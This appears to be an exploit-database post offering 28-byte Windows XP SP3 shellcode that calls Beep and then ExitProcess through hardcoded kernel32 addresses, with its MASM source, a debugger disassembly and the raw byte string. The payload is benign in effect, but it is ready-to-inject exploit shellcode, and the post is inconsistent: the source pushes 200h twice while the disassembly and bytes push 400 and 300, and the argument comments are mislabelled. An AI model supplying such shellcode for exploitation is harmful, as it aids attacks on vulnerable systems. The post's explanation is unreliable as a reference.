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win32/xp sp3 beep and exitprocess shellcode 28 bytes
[==================================================== win32/xp sp3 beep and exitprocess shellcode 28 bytes ==================================================== windows xp-sp3 beep and exitprocess shellcode this shellcode is using API call "Beep" which is in kernel32.dll adress of this API is 7C837A8Fh adress of exitprocess is 7C81CAFAh here is assembler code using Intel sintax and MASM32 -------------------- begin---------------- .386 .model flat, STDCALL .data .code start: xor eax,eax mov eax,7C837A8Fh ;putting address of beep call push 200h ; frequency push 200h ; lenght call eax ; calling beep xor eax,eax ; setting 0 to eax register mov eax,7C81CAFAh ; putting address of exitprocess call call eax ;calling exitprocess end start ------------------------end----------- if we disassemle this code with olly debugger we will get following 00401000 > $ 33C0 XOR EAX,EAX ; | 00401002 . B8 8F7A837C MOV EAX,kernel32.Beep ; | 00401007 . 68 00040000 PUSH 400 ; |/Duration = 1024. ms 0040100C . 68 00030000 PUSH 300 ; ||Frequency = 300 (768.) 00401011 . FFD0 CALL EAX ; |\Beep 00401013 . 33C0 XOR EAX,EAX ; | 00401015 . B8 FACA817C MOV EAX,kernel32.ExitProcess ; | 0040101A . FFD0 CALL EAX ; \ExitProcess and here is the shellcode \x33\xC0\xB8\x8F\x7A\x83\x7C\x68\x00\x04\x00\x00\x68\x00\x03\x00\x00\xFF\xD0\x33\xC0\xB8\xFA\xCA\x81\x7C\xFF\xD0 # 0day.today [2024-12-25] #